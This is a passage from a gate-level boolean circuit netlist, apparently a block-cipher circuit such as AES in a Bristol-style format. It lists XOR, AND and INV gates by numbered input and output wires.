AND +2 1 27256 27208 27211 XOR +2 1 27272 27320 27255 AND +2 1 27255 27256 27249 XOR +2 1 27261 27249 27231 XOR +2 1 27262 27231 27232 XOR +2 1 27270 27232 27236 XOR +2 1 27271 27236 27241 XOR +2 1 27253 27241 35648 XOR +2 1 35644 35648 8159 XOR +2 1 27222 27249 27218 XOR +2 1 27250 27218 27221 XOR +2 1 27220 27221 27324 XOR +2 1 27213 27218 27217 XOR +2 1 27216 27217 27323 XOR +2 1 27241 27215 27322 XOR +2 1 27231 27208 27207 XOR +2 1 27206 27207 35646 XOR +2 1 35642 35646 8178 XOR +2 1 27269 27236 27205 XOR +2 1 27204 27205 35647 XOR +2 1 35643 35647 8168 XOR +2 1 27232 27203 35649 XOR +2 1 35645 35649 8128 XOR +2 1 35634 35649 8136 XOR +1 1 8136 7903 INV +2 1 27276 27317 27254 AND +2 1 27265 27254 27214 XOR +1 1 27214 27210 INV +2 1 27210 27211 27321 XOR +1 1 8178 7990 INV +2 1 7903 35646 7904 XOR +2 1 8136 35647 7907 XOR +1 1 27323 33105 INV +2 1 7990 33105 7988 XOR +2 1 32865 33105 8182 XOR +1 1 27324 33106 INV +2 1 32866 33106 8190 XOR +2 1 8190 8136 7991 XOR +2 1 7903 33106 7901 XOR +1 1 27321 33111 INV +2 1 32871 33111 8153 XOR +2 1 8153 35648 7987 XOR +1 1 7987 7985 INV +1 1 27322 33112 INV +2 1 32872 33112 8142 XOR +2 1 8128 33112 7977 XOR +2 1 8142 33111 7980 XOR +1 1 7085 33243 INV +2 1 33243 35395 7030 XOR +2 1 7029 7030 35277 XOR +2 1 33243 32921 6872 XOR +2 1 6872 6873 7155 XOR +2 1 7155 7147 35274 XOR +2 1 35274 886 33775 XOR +2 1 33775 33777 22891 XOR +2 1 33776 22891 22893 XOR +2 1 33780 22893 22974 XOR +2 1 33779 22893 22971 XOR +2 1 22898 22893 22973 XOR +2 1 33775 22983 22979 XOR +2 1 33775 33776 22908 XOR +2 1 22908 22980 22978 XOR +2 1 33781 33775 22986 XOR +2 1 22986 22971 22967 AND +2 1 22967 22892 22896 XOR +2 1 22983 22979 22966 AND +2 1 22980 22973 22965 AND +2 1 35277 883 33778 XOR +2 1 33778 33780 22894 XOR +2 1 33778 33781 22985 XOR +2 1 22985 22908 22981 XOR +2 1 22891 22985 22977 XOR +2 1 33774 22977 22976 XOR +2 1 33776 33778 22987 XOR +2 1 22892 22987 22972 XOR +2 1 22894 22892 22854 XOR +2 1 22891 22854 22975 XOR +2 1 22894 33779 22853 XOR +2 1 33774 22853 22982 XOR +2 1 22977 22981 22970 AND +2 1 22970 22894 22897 XOR +2 1 22978 22976 22969 AND +2 1 22982 33774 22968 AND +2 1 22985 22974 22964 AND +2 1 22964 22893 22895 XOR +2 1 22897 22895 22901 XOR +2 1 33781 22901 22906 XOR +2 1 22987 22972 22963 AND +2 1 22963 22969 22915 XOR +2 1 22915 22906 22961 XOR +2 1 22963 22964 22867 XOR +2 1 22867 22868 22914 XOR +2 1 22914 22896 22913 XOR +2 1 22966 22913 22960 XOR +2 1 22984 22975 22962 AND +2 1 22962 22965 22916 XOR +2 1 22962 22968 22920 XOR +2 1 22920 22892 22907 XOR +2 1 22915 22907 22958 XOR +2 1 22963 22916 22910 XOR +2 1 22896 22916 22870 XOR +2 1 22870 22895 22959 XOR +2 1 22901 22920 22869 XOR +2 1 33779 22869 22912 XOR +2 1 22966 22910 22866 XOR +2 1 33775 22866 22953 XOR +2 1 22961 22960 22957 AND +2 1 22957 22912 22952 XOR +2 1 22957 22959 22956 XOR +2 1 22958 22956 22955 AND +2 1 22955 22912 22954 XOR +2 1 22955 22967 22861 XOR +2 1 22861 22897 22857 XOR +2 1 33781 22857 22860 XOR +2 1 22955 22906 22858 XOR +2 1 33779 22857 22856 XOR +2 1 22952 22953 22951 AND +2 1 22951 22959 22950 XOR +2 1 22957 22951 22949 XOR +2 1 22951 22910 22865 XOR +2 1 22951 22968 22864 XOR +2 1 22864 22965 22859 XOR +2 1 22859 22860 22942 XOR +2 1 22959 22949 22948 AND +2 1 22948 22956 22946 XOR +2 1 22948 22966 22919 XOR +2 1 22919 22913 22940 XOR +2 1 33775 22919 22902 XOR +2 1 22902 22865 22947 XOR +2 1 22954 22946 22945 AND +2 1 22945 22915 22905 XOR +2 1 22905 22907 22944 XOR +2 1 22945 22969 22863 XOR +2 1 22902 22863 22855 XOR +2 1 22892 22855 22862 XOR +2 1 22859 22862 22943 XOR +2 1 22905 22858 22941 XOR +2 1 22855 22856 22939 XOR +2 1 22940 22977 22938 AND +2 1 22947 22976 22937 AND +2 1 22950 33774 22936 AND +2 1 22936 22938 22918 XOR +2 1 22941 22971 22935 AND +2 1 22944 22983 22934 AND +2 1 22954 22973 22933 AND +2 1 22933 22934 22872 XOR +2 1 22942 22974 22932 AND +2 1 22939 22972 22931 AND +2 1 22931 22934 22887 XOR +1 1 22887 22884 INV +2 1 22931 22932 22883 XOR +2 1 22943 22975 22930 AND +2 1 22940 22981 22929 AND +2 1 22947 22978 22928 AND +2 1 22950 22982 22927 AND +2 1 22941 22986 22926 AND +2 1 22926 22930 22903 XOR +2 1 22935 22926 22888 XOR +1 1 22903 22881 INV +2 1 22944 22979 22925 AND +2 1 22933 22925 22890 XOR +2 1 22954 22980 22924 AND +2 1 22881 22924 22880 XOR +2 1 22880 22918 22876 XOR +2 1 22942 22985 22923 AND +2 1 22923 22876 22879 XOR +2 1 22939 22987 22922 AND +2 1 22922 22923 22917 XOR +2 1 22928 22917 22899 XOR +2 1 22929 22899 22900 XOR +2 1 22937 22900 22904 XOR +2 1 22938 22904 22909 XOR +2 1 22890 22917 22886 XOR +2 1 22918 22886 22889 XOR +2 1 22888 22889 22991 XOR +2 1 22881 22886 22885 XOR +2 1 22884 22885 22990 XOR +2 1 22909 22883 22989 XOR +2 1 32872 22989 7953 XOR +2 1 22989 32806 7981 XOR +2 1 7980 7981 7979 XOR +1 1 7979 35536 INV +2 1 35536 697 33964 XOR +2 1 22899 22876 22875 XOR +2 1 22936 22904 22873 XOR +2 1 22872 22873 35637 XOR +2 1 35632 35637 8179 XOR +1 1 35637 7906 INV +2 1 35643 7906 7916 XOR +2 1 22943 22984 22921 AND +2 1 22932 22921 22882 XOR +1 1 22882 22878 INV +2 1 22878 22879 22988 XOR +1 1 22990 35635 INV +2 1 32800 35635 8193 XOR +2 1 8193 8190 7950 XOR +1 1 22989 35640 INV +1 1 22988 35639 INV +2 1 32806 35639 8164 XOR +2 1 22988 35633 7986 XOR +2 1 8193 8178 7972 XOR +2 1 35631 7972 35540 XOR +2 1 32799 35640 8157 XOR +2 1 8157 8128 7965 XOR +2 1 7985 7986 35535 XOR +2 1 7906 35631 7905 XOR +2 1 7904 7905 8209 XOR +2 1 8209 8168 35533 XOR +2 1 22990 32801 7902 XOR +2 1 7901 7902 8210 XOR +2 1 8210 8182 35531 XOR +2 1 35531 702 33959 XOR +2 1 35533 700 33961 XOR +2 1 33959 33961 24146 XOR +2 1 35540 693 33968 XOR +2 1 8164 8142 7966 XOR +2 1 8157 33112 7956 XOR +1 1 7956 7954 INV +2 1 33243 35412 7009 XOR +2 1 35535 698 33963 XOR +2 1 7009 7010 35288 XOR +2 1 22934 22935 32718 XOR +2 1 22931 32718 22911 XOR +2 1 22932 22911 22871 XOR +2 1 22900 22871 35641 XOR +2 1 35641 35645 8135 XOR +2 1 8135 33105 7909 XOR +2 1 35634 35641 8131 XOR +2 1 8190 8131 7976 XOR +2 1 32801 7976 35538 XOR +2 1 35538 695 33966 XOR +2 1 22927 22911 22877 XOR +1 1 8135 7914 INV +2 1 7914 35648 7915 XOR +2 1 7915 7916 8205 XOR +2 1 7914 35647 7911 XOR +2 1 35641 32799 7978 XOR +2 1 7977 7978 35537 XOR +2 1 35537 696 33965 XOR +2 1 33963 33965 24147 XOR +2 1 33965 33959 24242 XOR +1 1 22877 22874 INV +2 1 22874 22875 35636 XOR +1 1 35636 7913 INV +2 1 7913 32800 7989 XOR +2 1 35642 7913 7912 XOR +2 1 7911 7912 8206 XOR +2 1 8206 8179 35549 XOR +2 1 35549 684 33977 XOR +2 1 35631 35636 8186 XOR +1 1 8186 7961 INV +2 1 7961 8168 7970 XOR +2 1 7961 35646 7959 XOR +2 1 7988 7989 35532 XOR +2 1 35532 701 33960 XOR +2 1 33965 33960 24240 XOR +2 1 33961 33960 24123 XOR +2 1 33960 24146 24148 XOR +2 1 33963 24148 24227 XOR +2 1 24242 24227 24223 AND +2 1 24223 24147 24151 XOR +2 1 33964 24148 24230 XOR +2 1 33959 33960 24163 XOR +2 1 32718 22909 35638 XOR +2 1 35633 35638 8171 XOR +2 1 8205 8171 35550 XOR +2 1 8171 8153 7967 XOR +2 1 32806 7967 35543 XOR +2 1 35543 690 33971 XOR +2 1 35550 683 33978 XOR +2 1 35638 35632 7908 XOR +2 1 7907 7908 8208 XOR +2 1 8208 8159 35534 XOR +2 1 35534 699 33962 XOR +2 1 33962 33964 24149 XOR +2 1 33962 33965 24241 XOR +2 1 24241 24163 24237 XOR +2 1 24146 24241 24233 XOR +2 1 33960 33962 24243 XOR +2 1 24147 24243 24228 XOR +2 1 24149 24147 24109 XOR +2 1 24146 24109 24231 XOR +2 1 24149 33963 24108 XOR +2 1 24233 24237 24226 AND +2 1 24226 24149 24152 XOR +2 1 24241 24230 24220 AND +2 1 24220 24148 24150 XOR +2 1 24152 24150 24156 XOR +2 1 33965 24156 24161 XOR +2 1 24243 24228 24219 AND +2 1 24219 24220 24122 XOR +2 1 24122 24123 24169 XOR +2 1 24169 24151 24168 XOR +2 1 24240 24231 24218 AND +2 1 35644 35638 7958 XOR +1 1 8179 7945 INV +2 1 7945 8159 7968 XOR +2 1 32799 7966 35544 XOR +2 1 35544 689 33972 XOR +2 1 33966 33972 28770 XOR +2 1 33971 28770 28856 XOR +2 1 35634 7965 35545 XOR +2 1 35545 688 33973 XOR +2 1 33971 33973 28764 XOR +2 1 28764 28770 28853 XOR +2 1 33973 33968 28857 XOR +2 1 32865 22990 7960 XOR +2 1 7959 7960 35548 XOR +2 1 35548 685 33976 XOR +2 1 33976 33978 30820 XOR +2 1 33977 33976 30700 XOR +2 1 32871 22988 7955 XOR +2 1 7954 7955 35552 XOR +1 1 7950 7948 INV +2 1 8186 8182 7946 XOR +2 1 35642 7946 35556 XOR +2 1 35556 677 33984 XOR +2 1 7945 8178 7943 XOR +2 1 8164 8159 7939 XOR +2 1 32871 7939 35559 XOR +2 1 35559 674 33987 XOR +2 1 8157 8153 7938 XOR +2 1 32872 7938 35560 XOR +2 1 35560 673 33988 XOR +2 1 8142 8131 7937 XOR +2 1 35645 7937 35561 XOR +2 1 35561 672 33989 XOR +2 1 33987 33989 31564 XOR +2 1 33989 33984 31657 XOR +2 1 35288 872 33789 XOR +2 1 33789 33783 13950 XOR +2 1 33787 33789 13855 XOR +2 1 13857 13855 13817 XOR +2 1 13854 13817 13939 XOR +2 1 13855 13861 13944 XOR +2 1 13944 13937 13929 AND +2 1 13872 13944 13942 XOR +2 1 33786 33789 13949 XOR +2 1 13949 13938 13928 AND +2 1 13928 13856 13858 XOR +2 1 13854 13949 13941 XOR +2 1 33782 13941 13940 XOR +2 1 13855 13951 13936 XOR +2 1 13951 13936 13927 AND +2 1 13927 13928 13830 XOR +2 1 13830 13831 13878 XOR +2 1 13942 13940 13933 AND +2 1 13950 13935 13931 AND +2 1 13931 13855 13859 XOR +2 1 13878 13859 13877 XOR +2 1 13949 13872 13945 XOR +2 1 13941 13945 13934 AND +2 1 13934 13857 13860 XOR +2 1 13860 13858 13864 XOR +2 1 33789 13864 13870 XOR +2 1 33789 33784 13948 XOR +2 1 13948 13939 13926 AND +2 1 13930 13877 13924 XOR +2 1 13927 13933 13879 XOR +2 1 13879 13870 13925 XOR +2 1 13925 13924 13921 AND +2 1 13926 13929 13880 XOR +2 1 13859 13880 13833 XOR +2 1 13833 13858 13923 XOR +2 1 13921 13923 13920 XOR +2 1 13927 13880 13874 XOR +2 1 13930 13874 13829 XOR +2 1 33783 13829 13917 XOR +2 1 13926 13932 13884 XOR +2 1 13884 13855 13871 XOR +2 1 13879 13871 13922 XOR +2 1 13922 13920 13919 AND +2 1 13919 13870 13821 XOR +2 1 13919 13931 13824 XOR +2 1 13824 13860 13820 XOR +2 1 33787 13820 13819 XOR +2 1 33789 13820 13823 XOR +2 1 13864 13884 13832 XOR +2 1 33787 13832 13876 XOR +2 1 13919 13876 13918 XOR +2 1 13921 13876 13916 XOR +2 1 13916 13917 13915 AND +2 1 13915 13874 13828 XOR +2 1 13921 13915 13913 XOR +2 1 13923 13913 13912 AND +2 1 13912 13920 13910 XOR +2 1 13918 13910 13909 AND +2 1 13909 13879 13869 XOR +2 1 13869 13821 13905 XOR +2 1 13869 13871 13908 XOR +2 1 13909 13933 13826 XOR +2 1 13905 13935 13899 AND +2 1 13908 13947 13898 AND +2 1 13898 13899 13867 XOR +2 1 13918 13937 13897 AND +2 1 13897 13898 13835 XOR +2 1 13915 13932 13827 XOR +2 1 13915 13923 13914 XOR +2 1 13914 33782 13900 AND +2 1 13914 13946 13891 AND +2 1 13905 13950 13890 AND +2 1 13899 13890 13851 XOR +2 1 13827 13929 13822 XOR +2 1 13918 13944 13888 AND +2 1 13908 13943 13889 AND +2 1 13897 13889 13853 XOR +2 1 13822 13823 13906 XOR +2 1 13906 13938 13896 AND +2 1 13906 13949 13887 AND +2 1 13912 13930 13883 XOR +2 1 33783 13883 13865 XOR +2 1 13865 13828 13911 XOR +2 1 13865 13826 13818 XOR +2 1 13818 13819 13903 XOR +2 1 13903 13936 13895 AND +2 1 13895 13867 13875 XOR +2 1 13891 13875 13840 XOR +2 1 13895 13898 13850 XOR +1 1 13850 13847 INV +2 1 13903 13951 13886 AND +1 1 13840 13837 INV +2 1 13911 13940 13901 AND +2 1 13911 13942 13892 AND +2 1 13895 13896 13846 XOR +2 1 13896 13875 13834 XOR +2 1 13855 13818 13825 XOR +2 1 13886 13887 13881 XOR +2 1 13853 13881 13849 XOR +2 1 13892 13881 13862 XOR +2 1 13822 13825 13907 XOR +2 1 13907 13948 13885 AND +2 1 13896 13885 13845 XOR +1 1 13845 13841 INV +2 1 13907 13939 13894 AND +2 1 13890 13894 13866 XOR +1 1 13866 13844 INV +2 1 13844 13849 13848 XOR +2 1 13847 13848 13954 XOR +2 1 13844 13888 13843 XOR +2 1 13883 13877 13904 XOR +2 1 13904 13941 13902 AND +2 1 13904 13945 13893 AND +2 1 13893 13862 13863 XOR +2 1 13863 13834 35626 XOR +2 1 13901 13863 13868 XOR +2 1 13900 13868 13836 XOR +2 1 13835 13836 35624 XOR +2 1 13902 13868 13873 XOR +2 1 13873 13846 13953 XOR +2 1 35624 7887 7899 XOR +2 1 35626 35630 8129 XOR +2 1 8148 8129 8037 XOR +2 1 35622 8037 35505 XOR +2 1 8129 32804 8019 XOR +2 1 35624 35628 8155 XOR +2 1 8217 8155 35501 XOR +2 1 8019 8020 35513 XOR +2 1 35513 720 33941 XOR +2 1 8017 8155 8026 XOR +2 1 8170 8129 8008 XOR +2 1 35501 732 33929 XOR +2 1 7999 8155 7996 XOR +2 1 13867 13873 35625 XOR +2 1 35625 35629 8150 XOR +2 1 8216 8150 35502 XOR +2 1 35502 731 33930 XOR +2 1 8025 8150 8023 XOR +1 1 35625 7998 INV +2 1 8129 7998 7997 XOR +2 1 7998 35621 8013 XOR +2 1 8012 8013 35519 XOR +2 1 35519 714 33947 XOR +2 1 35505 728 33933 XOR +2 1 33930 33933 31098 XOR +2 1 13900 13902 13882 XOR +2 1 13843 13882 13839 XOR +2 1 13887 13839 13842 XOR +2 1 13841 13842 13952 XOR +2 1 13862 13839 13838 XOR +2 1 13837 13838 35623 XOR +2 1 35623 35619 7897 XOR +2 1 35623 35627 8160 XOR +2 1 8162 8160 8003 XOR +2 1 8169 8160 8028 XOR +2 1 35614 8028 35508 XOR +2 1 35508 725 33936 XOR +2 1 33941 33936 28997 XOR +2 1 8160 32932 8042 XOR +2 1 8042 8043 35500 XOR +2 1 35500 733 33928 XOR +2 1 33929 33928 30980 XOR +2 1 33933 33928 31097 XOR +2 1 33928 33930 31100 XOR +2 1 13882 13849 13852 XOR +2 1 13851 13852 13955 XOR +2 1 7996 7997 35526 XOR +2 1 35526 707 33954 XOR +2 1 8154 8150 7995 XOR +2 1 35622 35626 8137 XOR +2 1 8170 8137 8018 XOR +2 1 8137 32932 7894 XOR +2 1 8137 35628 7896 XOR +2 1 7896 7897 8212 XOR +2 1 8212 8162 35517 XOR +2 1 35517 716 33945 XOR +2 1 32925 8018 35514 XOR +2 1 35514 719 33942 XOR +1 1 8137 7900 INV +2 1 7900 35629 7898 XOR +2 1 7898 7899 8211 XOR +2 1 8211 8158 35518 XOR +2 1 35518 715 33946 XOR +2 1 8129 35624 8004 XOR +2 1 8003 8004 35525 XOR +2 1 35525 708 33953 XOR +2 1 8164 33111 7957 XOR +2 1 7957 7958 35551 XOR +2 1 35551 682 33979 XOR +1 1 13954 32869 INV +2 1 8129 32869 8007 XOR +2 1 32869 32932 8163 XOR +2 1 8218 8163 35499 XOR +2 1 35499 734 33927 XOR +2 1 8170 8163 8030 XOR +2 1 8165 8163 8005 XOR +2 1 32869 7874 8016 XOR +2 1 8015 8016 35516 XOR +2 1 35516 717 33944 XOR +2 1 35623 8005 35524 XOR +2 1 35524 709 33952 XOR +2 1 33944 33946 30960 XOR +2 1 33945 33944 30840 XOR +2 1 33927 33929 31003 XOR +2 1 33928 31003 31005 XOR +2 1 31003 31098 31090 XOR +2 1 33927 33928 31020 XOR +2 1 31098 31020 31094 XOR +2 1 33933 33927 31099 XOR +2 1 31090 31094 31083 AND +2 1 33952 33954 31800 XOR +2 1 33953 33952 31680 XOR +1 1 13955 32870 INV +2 1 32870 8008 35522 XOR +2 1 35522 711 33950 XOR +2 1 32870 32925 8167 XOR +2 1 8167 8130 8032 XOR +2 1 32862 8032 35506 XOR +2 1 8167 8139 8044 XOR +2 1 32805 8044 35498 XOR +2 1 35506 727 33934 XOR +2 1 8169 8167 8006 XOR +2 1 8006 8007 35523 XOR +2 1 32870 32805 7895 XOR +2 1 7894 7895 8213 XOR +2 1 8213 8169 35515 XOR +2 1 35515 718 33943 XOR +2 1 35523 710 33951 XOR +2 1 33943 33945 30863 XOR +2 1 33944 30863 30865 XOR +2 1 33947 30865 30944 XOR +2 1 33943 33944 30880 XOR +2 1 33951 33953 31703 XOR +2 1 33952 31703 31705 XOR +2 1 33951 33952 31720 XOR +2 1 35498 735 33926 XOR +2 1 33926 31090 31089 XOR +1 1 8171 7942 INV +1 1 13952 32875 INV +2 1 32875 32930 8145 XOR +2 1 8145 35629 8040 XOR +2 1 8040 8041 35503 XOR +2 1 8158 8145 8022 XOR +2 1 32867 8022 35511 XOR +2 1 8148 32875 8010 XOR +2 1 8010 8011 35520 XOR +2 1 35520 713 33948 XOR +2 1 33948 30865 30947 XOR +2 1 33946 33948 30866 XOR +2 1 33942 33948 30870 XOR +2 1 30870 30865 30946 XOR +2 1 33947 30870 30956 XOR +2 1 33943 30956 30952 XOR +2 1 30866 33947 30825 XOR +2 1 33942 30825 30955 XOR +2 1 30955 33942 30941 AND +2 1 30956 30952 30939 AND +2 1 35503 730 33931 XOR +2 1 33931 31005 31084 XOR +2 1 33931 33933 31004 XOR +2 1 31004 31100 31085 XOR +2 1 31099 31084 31080 AND +2 1 31080 31004 31008 XOR +2 1 31100 31085 31076 AND +2 1 32875 7995 35527 XOR +2 1 35527 706 33955 XOR +2 1 33955 31705 31784 XOR +2 1 35511 722 33939 XOR +2 1 33939 33941 28904 XOR +1 1 13953 32876 INV +2 1 32876 8021 35512 XOR +2 1 35626 32876 7993 XOR +2 1 32804 32876 8147 XOR +2 1 8147 32931 8038 XOR +2 1 8038 8039 35504 XOR +2 1 35504 729 33932 XOR +2 1 8147 8130 8009 XOR +2 1 35630 8009 35521 XOR +2 1 35521 712 33949 XOR +2 1 7992 7993 35529 XOR +2 1 35529 704 33957 XOR +2 1 35512 721 33940 XOR +2 1 33934 33940 28910 XOR +2 1 28904 28910 28993 XOR +2 1 33939 28910 28996 XOR +2 1 33947 33949 30864 XOR +2 1 30864 30960 30945 XOR +2 1 33946 33949 30958 XOR +2 1 30958 30880 30954 XOR +2 1 30864 30870 30953 XOR +2 1 30880 30953 30951 XOR +2 1 30863 30958 30950 XOR +2 1 33942 30950 30949 XOR +2 1 30866 30864 30826 XOR +2 1 30863 30826 30948 XOR +2 1 33949 33943 30959 XOR +2 1 33949 33944 30957 XOR +2 1 30950 30954 30943 AND +2 1 30943 30866 30869 XOR +2 1 30951 30949 30942 AND +2 1 30959 30944 30940 AND +2 1 30940 30864 30868 XOR +2 1 30953 30946 30938 AND +2 1 30958 30947 30937 AND +2 1 30937 30865 30867 XOR +2 1 30869 30867 30873 XOR +2 1 33949 30873 30878 XOR +2 1 30960 30945 30936 AND +2 1 30936 30942 30887 XOR +2 1 30887 30878 30934 XOR +2 1 30936 30937 30839 XOR +2 1 30839 30840 30886 XOR +2 1 30886 30868 30885 XOR +2 1 30939 30885 30933 XOR +2 1 30957 30948 30935 AND +2 1 30935 30938 30888 XOR +2 1 30935 30941 30892 XOR +2 1 30892 30864 30879 XOR +2 1 30887 30879 30931 XOR +2 1 30936 30888 30882 XOR +2 1 30868 30888 30842 XOR +2 1 30842 30867 30932 XOR +2 1 30873 30892 30841 XOR +2 1 33947 30841 30884 XOR +2 1 30939 30882 30838 XOR +2 1 33943 30838 30926 XOR +2 1 30934 30933 30930 AND +2 1 30930 30884 30925 XOR +2 1 30930 30932 30929 XOR +2 1 30931 30929 30928 AND +2 1 30928 30884 30927 XOR +2 1 30928 30940 30833 XOR +2 1 30833 30869 30829 XOR +2 1 33949 30829 30832 XOR +2 1 30928 30878 30830 XOR +2 1 33947 30829 30828 XOR +2 1 30925 30926 30924 AND +2 1 30924 30932 30923 XOR +2 1 30930 30924 30922 XOR +2 1 30924 30882 30837 XOR +2 1 30924 30941 30836 XOR +2 1 30836 30938 30831 XOR +2 1 30831 30832 30915 XOR +2 1 30932 30922 30921 AND +2 1 30921 30929 30919 XOR +2 1 30921 30939 30891 XOR +2 1 30891 30885 30913 XOR +2 1 33943 30891 30874 XOR +2 1 30874 30837 30920 XOR +2 1 30927 30919 30918 AND +2 1 30918 30887 30877 XOR +2 1 30877 30879 30917 XOR +2 1 30918 30942 30835 XOR +2 1 30874 30835 30827 XOR +2 1 30864 30827 30834 XOR +2 1 30831 30834 30916 XOR +2 1 30877 30830 30914 XOR +2 1 30827 30828 30912 XOR +2 1 30913 30950 30911 AND +2 1 30920 30949 30910 AND +2 1 30923 33942 30909 AND +2 1 30909 30911 30890 XOR +2 1 30914 30944 30908 AND +2 1 30917 30956 30907 AND +2 1 30907 30908 30893 XOR +2 1 30927 30946 30906 AND +2 1 30906 30907 30844 XOR +2 1 30915 30947 30905 AND +2 1 30912 30945 30904 AND +2 1 30904 30893 30883 XOR +2 1 30904 30907 30859 XOR +1 1 30859 30856 INV +2 1 30904 30905 30855 XOR +2 1 30905 30883 30843 XOR +2 1 30916 30948 30903 AND +2 1 30913 30954 30902 AND +2 1 30920 30951 30901 AND +2 1 30923 30955 30900 AND +2 1 30900 30883 30849 XOR +1 1 30849 30846 INV +2 1 30914 30959 30899 AND +2 1 30899 30903 30875 XOR +2 1 30908 30899 30860 XOR +1 1 30875 30853 INV +2 1 30917 30952 30898 AND +2 1 30906 30898 30862 XOR +2 1 30927 30953 30897 AND +2 1 30853 30897 30852 XOR +2 1 30852 30890 30848 XOR +2 1 30915 30958 30896 AND +2 1 30896 30848 30851 XOR +2 1 30912 30960 30895 AND +2 1 30895 30896 30889 XOR +2 1 30901 30889 30871 XOR +2 1 30902 30871 30872 XOR +2 1 30910 30872 30876 XOR +2 1 30911 30876 30881 XOR +2 1 30893 30881 35845 XOR +2 1 30862 30889 30858 XOR +2 1 30890 30858 30861 XOR +2 1 30860 30861 30964 XOR +2 1 30853 30858 30857 XOR +2 1 30856 30857 30963 XOR +2 1 30881 30855 30962 XOR +2 1 30871 30848 30847 XOR +2 1 30846 30847 35843 XOR +2 1 30909 30876 30845 XOR +2 1 30844 30845 35844 XOR +2 1 30872 30843 35846 XOR +2 1 30916 30957 30894 AND +2 1 30905 30894 30854 XOR +1 1 30854 30850 INV +2 1 30850 30851 30961 XOR +2 1 33932 31005 31087 XOR +2 1 33930 33932 31006 XOR +2 1 31083 31006 31009 XOR +2 1 33926 33932 31010 XOR +2 1 31010 31005 31086 XOR +2 1 31004 31010 31093 XOR +2 1 31020 31093 31091 XOR +2 1 33931 31010 31096 XOR +2 1 33927 31096 31092 XOR +2 1 31006 31004 30966 XOR +2 1 31003 30966 31088 XOR +2 1 31006 33931 30965 XOR +2 1 33926 30965 31095 XOR +2 1 31091 31089 31082 AND +2 1 31076 31082 31027 XOR +2 1 31095 33926 31081 AND +2 1 31096 31092 31079 AND +2 1 31093 31086 31078 AND +2 1 31098 31087 31077 AND +2 1 31077 31005 31007 XOR +2 1 31009 31007 31013 XOR +2 1 33933 31013 31018 XOR +2 1 31027 31018 31074 XOR +2 1 31076 31077 30979 XOR +2 1 30979 30980 31026 XOR +2 1 31026 31008 31025 XOR +2 1 31079 31025 31073 XOR +2 1 31097 31088 31075 AND +2 1 31075 31078 31028 XOR +2 1 31075 31081 31032 XOR +2 1 31032 31004 31019 XOR +2 1 31027 31019 31071 XOR +2 1 31076 31028 31022 XOR +2 1 31008 31028 30982 XOR +2 1 30982 31007 31072 XOR +2 1 31013 31032 30981 XOR +2 1 33931 30981 31024 XOR +2 1 31079 31022 30978 XOR +2 1 33927 30978 31066 XOR +2 1 31074 31073 31070 AND +2 1 31070 31024 31065 XOR +2 1 31070 31072 31069 XOR +2 1 31071 31069 31068 AND +2 1 31068 31024 31067 XOR +2 1 31068 31080 30973 XOR +2 1 30973 31009 30969 XOR +2 1 33933 30969 30972 XOR +2 1 31068 31018 30970 XOR +2 1 33931 30969 30968 XOR +2 1 31065 31066 31064 AND +2 1 31064 31072 31063 XOR +2 1 31070 31064 31062 XOR +2 1 31064 31022 30977 XOR +2 1 31064 31081 30976 XOR +2 1 30976 31078 30971 XOR +2 1 30971 30972 31055 XOR +2 1 31072 31062 31061 AND +2 1 31061 31069 31059 XOR +2 1 31061 31079 31031 XOR +2 1 31031 31025 31053 XOR +2 1 33927 31031 31014 XOR +2 1 31014 30977 31060 XOR +2 1 31067 31059 31058 AND +2 1 31058 31027 31017 XOR +2 1 31017 31019 31057 XOR +2 1 31058 31082 30975 XOR +2 1 31014 30975 30967 XOR +2 1 31004 30967 30974 XOR +2 1 30971 30974 31056 XOR +2 1 31017 30970 31054 XOR +2 1 30967 30968 31052 XOR +2 1 31053 31090 31051 AND +2 1 31060 31089 31050 AND +2 1 31063 33926 31049 AND +2 1 31049 31051 31030 XOR +2 1 31054 31084 31048 AND +2 1 31057 31096 31047 AND +2 1 31047 31048 31033 XOR +2 1 31067 31086 31046 AND +2 1 31046 31047 30984 XOR +2 1 31055 31087 31045 AND +2 1 31052 31085 31044 AND +2 1 31044 31033 31023 XOR +2 1 31044 31047 30999 XOR +1 1 30999 30996 INV +2 1 31044 31045 30995 XOR +2 1 31045 31023 30983 XOR +2 1 31056 31088 31043 AND +2 1 31053 31094 31042 AND +2 1 31060 31091 31041 AND +2 1 31063 31095 31040 AND +2 1 31040 31023 30989 XOR +1 1 30989 30986 INV +2 1 31054 31099 31039 AND +2 1 31039 31043 31015 XOR +2 1 31048 31039 31000 XOR +1 1 31015 30993 INV +2 1 31057 31092 31038 AND +2 1 31046 31038 31002 XOR +2 1 31067 31093 31037 AND +2 1 30993 31037 30992 XOR +2 1 30992 31030 30988 XOR +2 1 31055 31098 31036 AND +2 1 31036 30988 30991 XOR +2 1 31052 31100 31035 AND +2 1 31035 31036 31029 XOR +2 1 31041 31029 31011 XOR +2 1 31042 31011 31012 XOR +2 1 31050 31012 31016 XOR +2 1 31051 31016 31021 XOR +2 1 31033 31021 35797 XOR +2 1 31002 31029 30998 XOR +2 1 31030 30998 31001 XOR +2 1 31000 31001 31104 XOR +2 1 30993 30998 30997 XOR +2 1 30996 30997 31103 XOR +2 1 31021 30995 31102 XOR +2 1 31011 30988 30987 XOR +2 1 30986 30987 35795 XOR +2 1 35795 35810 8943 XOR +1 1 8943 8804 INV +2 1 31049 31016 30985 XOR +2 1 30984 30985 35796 XOR +2 1 8955 8804 8801 XOR +2 1 31012 30983 35798 XOR +2 1 35798 35814 8908 XOR +1 1 8908 8803 INV +2 1 8803 32809 8832 XOR +2 1 8948 35797 8769 XOR +1 1 8769 8767 INV +2 1 31056 31097 31034 AND +2 1 31045 31034 30994 XOR +1 1 30994 30990 INV +2 1 30990 30991 31101 XOR +2 1 33955 33957 31704 XOR +2 1 31704 31800 31785 XOR +2 1 33954 33957 31798 XOR +2 1 31798 31720 31794 XOR +2 1 31703 31798 31790 XOR +2 1 33950 31790 31789 XOR +2 1 33957 33951 31799 XOR +2 1 33957 33952 31797 XOR +2 1 31790 31794 31783 AND +2 1 31799 31784 31780 AND +2 1 31780 31704 31708 XOR +2 1 31800 31785 31776 AND +2 1 8908 35796 8646 XOR +2 1 7942 8168 7940 XOR +2 1 8147 8145 7994 XOR +2 1 32868 7994 35528 XOR +2 1 35528 705 33956 XOR +2 1 33956 31705 31787 XOR +2 1 33954 33956 31706 XOR +2 1 31783 31706 31709 XOR +2 1 33950 33956 31710 XOR +2 1 31710 31705 31786 XOR +2 1 31704 31710 31793 XOR +2 1 31720 31793 31791 XOR +2 1 33955 31710 31796 XOR +2 1 33951 31796 31792 XOR +2 1 31706 31704 31666 XOR +2 1 31703 31666 31788 XOR 